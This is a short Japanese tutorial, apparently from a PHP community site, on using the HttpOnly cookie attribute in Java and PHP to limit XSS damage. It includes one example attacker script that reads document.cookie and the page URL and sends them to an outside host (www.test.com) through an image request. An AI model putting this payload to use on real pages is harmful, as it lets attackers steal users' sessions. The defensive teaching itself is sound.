PHP は httponly を使用して XSS 攻撃を防止します

怪我咯
リリース: 2023-03-13 18:36:01
オリジナル
2222 人が閲覧しました
  1. HttpOnlyとは何ですか?

    cookieにHttpOnly属性を設定すると、jsスクリプトを介してCookie情報が読み取られなくなり、XSS攻撃を効果的に防ぐことができます。詳しくは、Googleで検索してください。

  2. JavaEE の API はサポートされていますか?

現在、Sun は関連する API を発表していませんが、PHP と C# はそれを実装しています。 javaEEに取り組んでいる兄弟はかなり落ち込んでいますが、心配しないでください、以下に回避策があります

3. HttpOnlyの設定例

javaEE
response.setHeader("Set-Cookie", "cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
ログイン後にコピー

この記事では主に、xss攻撃を防ぐためにhttponlyを使用したPHPのxss防御を紹介します。 PHP メソッドで HttpOnly の設定を行うと、必要な友人がそれを参照できます

言うまでもなく、xss の概念は非常に有害です。つまり、Web サイトに xss の脆弱性が現れると、任意の js コードを実行できてしまうのが最も恐ろしいことです。つまり、攻撃者は js を使用して cookiesessionhijack を取得し、それに多くの機密情報 (ID 情報、管理者情報) などが含まれていれば終わりです。 。 。

次の js は Cookie 情報を取得するために使用されます:

コードは次のとおりです:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;
ログイン後にコピー

一般に、Cookie を設定するとき、ブラウザは通常、HttpOnly と呼ばれるパラメータを受け入れます。ドメインと他のパラメータは同じです。この HttpOnly が設定されると、ブラウザのドキュメント オブジェクトに Cookie が表示されなくなります。
PHP 設定 HttpOnly
:

//在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
ini_set("session.cookie_httponly", 1);

//或者setcookie()的第七个参数设置为true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
ログイン後にコピー
PHP5.1 パスより前の PHP バージョンの場合:

header("Set-Cookie: hidden=value; httpOnly");
ログイン後にコピー

最後に、HttpOnly は万能薬ではありません。

以上がPHP は httponly を使用して XSS 攻撃を防止しますの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート